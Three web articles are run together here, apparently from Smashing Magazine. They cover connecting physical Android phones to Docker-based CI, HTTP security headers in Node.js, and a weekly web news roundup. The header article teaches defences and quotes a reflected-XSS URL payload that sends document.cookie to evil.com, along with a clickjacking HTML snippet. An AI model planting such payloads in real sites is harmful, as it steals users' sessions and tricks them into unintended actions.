FROM ubuntu:trusty #Update the list of repositories and add webupd8team repository, from which we'll install Java RUN apt-get update -y &&  apt-get install -y software-properties-common &&  add-apt-repository ppa:webupd8team/java -y &&  apt-get update -y &&  echo oracle-java8-installer shared/accepted-oracle-license-v1-1 select true | /usr/bin/debconf-set-selections &&  apt-get install -y oracle-java8-installer &&  apt-get remove software-properties-common -y &&  apt-get autoremove -y &&  apt-get clean #Set the environment variables for Java and the desired version of Ant ENV JAVA_HOME /usr/lib/jvm/java-8-oracle ENV ANT_VERSION 1.9.4 # Install Ant version specified above RUN cd &&  wget -q http://archive.apache.org/dist/ant/binaries/apache-ant-${ANT_VERSION}-bin.tar.gz &&  tar -xzf apache-ant-${ANT_VERSION}-bin.tar.gz &&  mv apache-ant-${ANT_VERSION} /opt/ant &&  rm apache-ant-${ANT_VERSION}-bin.tar.gz # Set the environment variable for Ant ENV ANT_HOME /opt/ant ENV PATH ${PATH}:/opt/ant/bin #Install Android Build Tools and the required version of Android SDK #You can create several versions of the Dockerfile if you need to test #several versions ENV ANDROID_SDK_VERSION r24.4.1 ENV ANDROID_BUILD_TOOLS_VERSION 23.0.3 RUN dpkg --add-architecture i386 &&  apt-get update -y &&  apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 &&  rm -rf /var/lib/apt/lists/* &&  apt-get autoremove -y &&  apt-get clean ENV ANDROID_SDK_FILENAME android-sdk_${ANDROID_SDK_VERSION}-linux.tgz ENV ANDROID_SDK_URL http://dl.google.com/android/${ANDROID_SDK_FILENAME} ENV ANDROID_API_LEVELS android-15,android-16,android-17,android-18,android-19,android-20,android-21,android-22,android-23 ENV ANDROID_HOME /opt/android-sdk-linux ENV PATH ${PATH}:${ANDROID_HOME}/tools:${ANDROID_HOME}/platform-tools RUN cd /opt &&  wget -q ${ANDROID_SDK_URL} &&  tar -xzf ${ANDROID_SDK_FILENAME} &&  rm ${ANDROID_SDK_FILENAME} &&  echo y | android update sdk --no-ui -a --filter tools,platform-tools,${ANDROID_API_LEVELS},build-tools-${ANDROID_BUILD_TOOLS_VERSION} ###Now add the integration system file. It can be a Jenkins slave, a Bamboo agent, etc., depending on what you're working with. ADD moyagent.sh /agentCI/ 

You can also add all of the necessary libraries and files for the integration system agent to the Dockerfile. At some point, you might have to build containers not only for your physical devices, but also for virtual Android phone emulators. In this case, you can just add the required settings to the instructions. Now we’ll build the Dockerfile:

Docker build .

Now we have a runnable docker image; however, the container that we spawn from it would not see any devices (or, on the contrary, the container would see all USB devices if we run it in privileged mode). We need it to see only those devices we want it to see. So, we specify a symbolic link (or symlink) in our host, which we will transfer to the Docker container created from the image. The symlink uses udev:

echo ‘"SUBSYSTEM=="usb", ATTRS{serial}=="$DEVICE_SERIAL", SYMLINK+="androidDevice1"' >> /etc/udev/rules.d/90-usb-symlink-phones.rules

Instead of $DEVICE_SERIAL, we enter our freshly installed serial number and reload the device’s rule definitions:

udevadm control --reload udevadm trigger

Now when the phone is attached via USB, we will have a device symlink to the /dev/androidDevice1 path with the serial number $DEVICE_SERIAL. All we have left to do is transfer it to the container on startup:

Docker run -i -t --rm --device=/dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest adb devices

This means that we want to create a container from the Android Docker image that must be able to access the device with the /dev/androidDevice1 symlink. We also want to launch the ADB devices command in the container itself, which will show us a list of available devices.

If the phone is visible, then we’re ready. If an integration system agent was installed in the image, we can use the following command to launch it:

Docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest /bin/sh /agentCI/moyagent.sh

Now we have launched the container in which the system integration agent is running. The agent now has access to the device via the /dev/androidDevice1 symlink and to the virtual environment where all programs specified in Dockerfile (the Android SDK and additional dependencies) are installed.

By the way, it wasn’t until fairly recently that the command line option --device started working with symlinks (see the GitHub master branch²⁴). Previously, we had to generate the realpath from symlinks using a script and transfer it to Docker. So, if you can’t manage to connect the device, add the following script to the udev parameter RUN+= (if the connected phone is located at /dev/bus/usb/010/1):

realpath /dev/androidDevice1 | xargs -I linkpath link linkpath /dev/bus/usb/010/1

This will let you use old versions of Docker to launch a container that can access the phone:

Docker run --privileged -v /dev/bus/usb/010/:/dev/bus/usb/100/ -i -t android-Docker-image:latest adb devices

That’s it. You can now connect your slave to the integration system and work with it.

If the phone is visible, then we’re done. If a system integration agent has been installed in the image, then we can run it with the following command:

docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-docker-image:latest /bin/sh /agentCI/moyagent.sh

Now we’ve launched our container with the system integration agent launched in it. The device is available to the agent via the /dev/androidDevice1 symlink and also via the virtual environment where you installed the programs from our Dockerfile (the Android SDK and other dependencies). The launched agent must connect to your server (such as Bamboo or Jenkins), from which you can give it commands to perform the automated tests.

When your container is ready, all you need to do is connect it to your integration system. Each of such systems has extensive documentation and a lot of examples of usage:

• Jenkins²⁵
• Bamboo²⁶
• GitLab CI²⁷

As soon as you connect your container according to the instruction, you will be able to execute code, launch your tests and work with your container via your systems.

Conclusion Link

Sooner or later, physical mobile devices will appear in the integration system of every relatively large Android project. The need to fix mistakes, perform non-standard test cases and simply test for the presence of certain features all inevitably require an actual device. In addition, the devices won’t use your server resources, because they have their own processors and memory. Thus, the host for the phones doesn’t have to be super-powerful; any home desktop would handle this load nicely.

Consider the advantages and see what would be best for you — your automated testing system almost certainly has room for physical devices. I wish you all fewer bugs and more test coverage! Real devices have both advantages and disadvantages. It would be great if you could share your opinion and expertise and tell us which is better to use: real devices or virtual machines. Looking forward to your comments!

(rb, yk, al, il)

Footnotes Link

1. 1 https://www.youtube.com/watch?v=37HZIluqY8Y
2. 2 https://www.smashingmagazine.com/2017/02/current-trends-future-prospects-mobile-app-market/
3. 3 https://www.smashingmagazine.com/2015/12/optimizing-your-design-for-rapid-prototype-testing/
4. 4 https://www.smashingmagazine.com/2016/09/the-thumb-zone-designing-for-mobile-users/
5. 5 …
6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/01/main-picture-large-opt.jpg
7. 7 https://www.smashingmagazine.com/wp-content/uploads/2017/01/main-picture-large-opt.jpg
8. 8 https://forum.xda-developers.com
9. 9 http://4pda.ru/forum/
10. 10 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-phone-model-with-lots-of-local-sub-types-large-opt.png
11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-phone-model-with-lots-of-local-sub-types-large-opt.png
12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Typical-serial-numbers-for-inexpensive-phones-preview-opt.png
13. 13 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-demonstration-of-spoofing-from-a-box-large-opt.png
14. 14 https://www.smashingmagazine.com/wp-content/uploads/2017/01/A-demonstration-of-spoofing-from-a-box-large-opt.png
15. 15 https://forum.xda-developers.com
16. 16 http://forum.xda-developers.com/showthread.php?p=32965365#post32965365
17. 17 http://forum.xda-developers.com/showthread.php?p=32965365#post32965365
18. 18 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Re-installing-files-large-opt.png
19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/01/Re-installing-files-large-opt.png
20. 20 https://github.com/osm0sis/Android-Image-Kitchen
21. 21 https://www.smashingmagazine.com/wp-content/uploads/2017/01/init-files-here-containing-different-variables-preview-opt.png
22. 22 https://www.smashingmagazine.com/wp-content/uploads/2017/01/6-preview-opt.png
23. 23 https://docs.Docker.com/engine/userguide/storagedriver/selectadriver/
24. 24 https://github.com/Docker/Docker
25. 25 https://www.tutorialspoint.com/jenkins/jenkins_distributed_builds.htm
26. 26 https://confluence.atlassian.com/bamboo/bamboo-remote-agent-installation-guide-289276832.html
27. 27 https://docs.gitlab.com/runner/install/

↑ Back to topTweet itShare on Facebook

Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately 40% of data breaches¹ originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather a necessity for web developers, especially for developers who build consumer-facing applications.

HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.

Further Reading on SmashingMag: Link

• Facing The Challenge: Building A Responsive Web Application²
• Getting Ready For HTTP2: A Guide For Web Designers And Developers³
• Common Security Mistakes in Web Applications⁴
• Web Security: Are You Part Of The Problem?⁵

About HTTP Headers Link

Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.

Plain-text HTTP response headers can be examined easily using cURL, with the --head option, like so:

$ curl --head https://www.google.com HTTP/1.1 200 OK Date: Thu, 05 Jan 2017 08:20:29 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 Transfer-Encoding: chunked Accept-Ranges: none Vary: Accept-Encoding …

Today, hundreds of headers are used by web apps, some standardized by the Internet Engineering Task Force⁶ (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.

Disabling Caching Of Confidential Resources Link

Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!

The IETF’s RFC 7234⁷, which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to always cache responses to HTTP GET requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.

There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:

• Cache-Control
  
  This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: cache-control: no-cache, no-store, must-revalidate. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
• Pragma: no-cache
  
  For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the Cache-Control header mentioned above. Use Pragma: no-cache to ensure that these older clients do not cache your response.
• Expires: -1
  
  This header specifies a timestamp after which the response is considered stale. By specifying -1, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.

Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading Jake Archibald’s post⁸ on the subject.

Here’s how you would program these headers in Node.js:

function requestHandler(req, res) { res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate'); res.setHeader('Pragma','no-cache'); res.setHeader('Expires','-1'); } 

Enforcing HTTPS Link

Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!

The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.

How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in RFC 6797⁹, HSTS enables a web app to instruct browsers to allow only HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.

HSTS directives include the following:

• max-age=<number of seconds>
  
  This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
• includeSubDomains
  
  This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
• preload
  
  This is a powerful directive that forces browsers to always load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with HSTS Preload List Submission¹⁰, a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.

A word of caution: using the preload directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!

My recommendation is to use Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the preload directive, in which case don’t forget to register your website on the preload list as well, as noted above!

Here’s what implementing HSTS looks like in Node.js:

function requestHandler(req, res) { res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload'); } 

Enabling XSS Filtering Link

In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!

To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:

function handleRequest(req, res) { res.writeHead(200); // Get the search term const parsedUrl = require('url').parse(req.url); const searchTerm = decodeURI(parsedUrl.query); const resultSet = search(searchTerm); // Render the document res.end( "<html>" + "<body>" + "<p>You searched for: " + searchTerm + "</p>" + // Search results rendering goes here… "</body>" + "</html>"); }; 

Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:

https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>

As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!

To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.

Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the X-XSS-Protection header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.

X-XSS-Protection directives include these:

• 1 or 0
  
  This enables or disables the filter.
• mode=block
  
  This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.

I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:

X-XSS-Protection: 1; mode=block

Here’s how you would configure this response header in Node.js:

function requestHandler(req, res) { res.setHeader('X-XSS-Protection','1;mode=block'); } 

Controlling Framing Link

An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.

One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!

<html> <body> <button class='some-class'>Win a Prize!</button> <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe> </body> </html> 

Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the opacity: 0 CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.

An effective way to block this attack is by restricting your web app from being framed. X-Frame-Options, specified in RFC 7034¹¹, is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the DENY directive, whitelist specific domains using the ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.

My recommendation is to use the SAMEORIGIN directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:

X-Frame-Options: SAMEORIGIN

Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:

function requestHandler(req, res) { res.setHeader('X-Frame-Options','SAMEORIGIN'); } 

Explicitly Whitelisting Sources Link

As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.

Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.

CSP is a W3C specification¹² that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious eval) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.

This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.

CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a great tutorial¹³ that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.

Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (eval) and inline scripts (as usual, on Node.js):

function requestHandler(req, res) { res.setHeader('Content-Security-Policy',"script-src 'self'"); } 

Preventing Content-Type Sniffing Link

In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the Content-Type response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.

Luckily, the X-Content-Type-Options response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because X-Content-Type-Options was only formally specified as part of the “Fetch” specification¹⁴, the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.

X-Content-Type-Options is a simple response header, with only one directive: nosniff. This header looks like this: X-Content-Type-Options: nosniff. Here’s an example of a configuration of the header:

function requestHandler(req, res) { res.setHeader('X-Content-Type-Options','nosniff'); } 

Summary Link

In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.

Takeaways Link

• Disable caching for confidential information using the Cache-Control header.
• Enforce HTTPS using the Strict-Transport-Security header, and add your domain to Chrome’s preload list.
• Make your web app more robust against XSS by leveraging the X-XSS-Protection header.
• Block clickjacking using the X-Frame-Options header.
• Leverage Content-Security-Policy to whitelist specific sources and endpoints.
• Prevent MIME-sniffing attacks using the X-Content-Type-Options header.

Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!

---

(Disclaimer: The content of this post is my own and doesn’t represent my past or current employers in any way whatsoever.)

Front page image credits: Pexels.com¹⁵.

(da, yk, al, il)

Footnotes Link

1. 1 http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/
2. 2 https://www.smashingmagazine.com/2013/06/building-a-responsive-web-application/
3. 3 https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/
4. 4 https://www.smashingmagazine.com/2010/10/common-security-mistakes-in-web-applications/
5. 5 https://www.smashingmagazine.com/2010/01/web-security-primer-are-you-part-of-the-problem/
6. 6 https://www.ietf.org/
7. 7 https://tools.ietf.org/html/rfc7234
8. 8 https://jakearchibald.com/2016/caching-best-practices/
9. 9 https://tools.ietf.org/html/rfc6797
10. 10 https://hstspreload.org
11. 11 https://www.ietf.org/rfc/rfc7034.txt
12. 12 https://www.w3.org/TR/2016/WD-CSP3-20160901/
13. 13 https://www.html5rocks.com/en/tutorials/security/content-security-policy/
14. 14 https://fetch.spec.whatwg.org/#x-content-type-options-header
15. 15 https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/

↑ Back to topTweet itShare on Facebook

What a busy week! To stay on top of things, let’s review what happened in the web development world the last few days — from browser vendors pushing new updates and building new JavaScript guidelines and security standards to why we as web professionals need to review our professional pride. How can we properly revoke certificates in browsers, for example? And how can we build accessibility into a style guide? Let’s take a look.

Further Reading on SmashingMag: Link

• How To Make Modal Windows Better For Everyone¹
• Creating A Living Style Guide: A Case Study²
• How To Integrate Motion Design In The UX Workflow³
• Smart Transitions In User Experience Design⁴

News Link

• Safari 10.1 was announced a while ago already, and this week it finally came to Macs and iOS devices around the world. The new Safari version ships CSS Grid Layouts, fetch(), IndexedDB2.0, Custom Elements, Form Validation, Media Capture, and much more. You can read more about the new features and how to use them⁵ in detail on the WebKit blog.
• Chromium is advising developers to not use alert(), confirm(), and prompt() methods in JavaScript anymore⁶, and, in the future, they might even deprecate sites that still use them. The suggestion is to use the Web Notification API instead, in the hope that its asynchronous nature will prevent it from being misused against users. As a nice side effect, using the API will also speed up browser performance significantly.
• This week, Mozilla started with their Security/Binary Transparency⁷ project which allows third parties to verify that binaries from Mozilla match the original public source code exactly and also to check for its integrity. This is a huge step in open-source and binary app development that other applications out there would benefit from, too.
• The Chromium project is implementing⁸ the WICG proposal of a Feature Policy⁹ (see launch status¹⁰), an interesting concept to complete other policies such as the Content Security Policy. By allowing site owners to explicitly allow or disallow browser features such as geolocation, webcam/microphone access and similar things, sites can better protect their users from exploits.

¹¹

General Link

• Jens Grochtdreis shared his thoughts on professional pride¹⁴, aiming at all the people who write JavaScript tutorials without focusing on the HTML or CSS. A bad practice that leads to incomplete and sometimes even false code examples that are then used in the wild.

Concept & Design Link

• We all know the annoying overlays that prompt website visitors to take action — “sign up for the newsletter”, “like the page on Facebook”. Bureau of Programming now shares thoughts on why it was easier to get rid of annoying pop-up windows and why it’s up to us developers to not build annoying features¹⁵ if we want to make the web a useful, friendly place.

¹⁶

Security Link

• A new paper from a joint venture of universities and Akamai Technologies introduces CRLite, a scalable system for pushing all TLS revocations to all browsers¹⁸ (PDF, 1.3MB). Currently, no major browser fully checks for TLS/SSL certificate revocations, but that could be changing soon if vendors agree with this research paper and start implementing the system.

Accessibility Link

• Carie Fisher shares her approach to a style guide that has accessibility guidelines built in¹⁹.

CSS/Sass Link

• Paul Lewis and Stephen McGruer summarized how you can build performant ‘expand’ and ‘collapse’ animations²⁰, for menus, for example.

Going Beyond… Link

• Scientists came up with a detailed “roadmap” for meeting the Paris climate goals²¹. It’s an eye-opening, entertaining read that convinces with its storytelling style.
• Emily Dreyfuss from WIRED wrote an article about why Silicon Valley contributes to inequality by focusing on cool technological innovation instead of targeting real-world problems. The piece is titled “Silicon Valley Would Rather Cure Death Than Make Life Worth Living²²” — a provocative but probably accurate title. And while there sure are exceptions (as there are always exceptions), we should remember to not blindly glorify tech, especially if it doesn’t engage with real problems.
• Ken Doctor wrote about “slower structural developments that shape society²³,” charting out what’s in between the extremes that we see in the news.

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation²⁴ or share this resource with other people. You can learn more about the costs of the project here²⁵. It’s available via email, RSS and online.

— Anselm

Footnotes Link

1. 1 https://www.smashingmagazine.com/2014/09/making-modal-windows-better-for-everyone/
2. 2 https://www.smashingmagazine.com/2016/05/creating-a-living-style-guide-case-study/
3. 3 https://www.smashingmagazine.com/2016/03/integrate-motion-design-animation-ux-workflow/
4. 4 https://www.smashingmagazine.com/2013/10/smart-transitions-in-user-experience-design/
5. 5 https://webkit.org/blog/7477/new-web-features-in-safari-10-1/
6. 6 https://developers.google.com/web/updates/2017/03/dialogs-policy
7. 7 https://wiki.mozilla.org/Security/Binary_Transparency
8. 8 https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/uKO1CwiY3ts
9. 9 https://wicg.github.io/feature-policy/
10. 10 https://www.chromestatus.com/feature/5694225681219584
11. 11 https://wiki.mozilla.org/Security/Binary_Transparency
12. 12 https://wiki.mozilla.org/Security/Binary_Transparency
13. 13 https://wiki.mozilla.org/Security/Binary_Transparency
14. 14 https://medium.com/@Flocke/professional-pride-7b84287ae747
15. 15 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
16. 16 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
17. 17 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
18. 18 http://www.ccs.neu.edu/home/cbw/static/pdf/larisch-oakland17.pdf
19. 19 http://a11y-style-guide.com/style-guide/
20. 20 https://developers.google.com/web/updates/2017/03/performant-expand-and-collapse
21. 21 http://www.vox.com/energy-and-environment/2017/3/23/15028480/roadmap-paris-climate-goals
22. 22 https://www.wired.com/2017/03/silicon-valley-rather-cure-death-make-life-worth-living/
23. 23 http://www.niemanlab.org/2017/03/slower-structural-developments-that-shape-society-a-qa-with-de-correspondent-editor-rob-wijnberg/
24. 24 https://wdrl.info/donate
25. 25 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook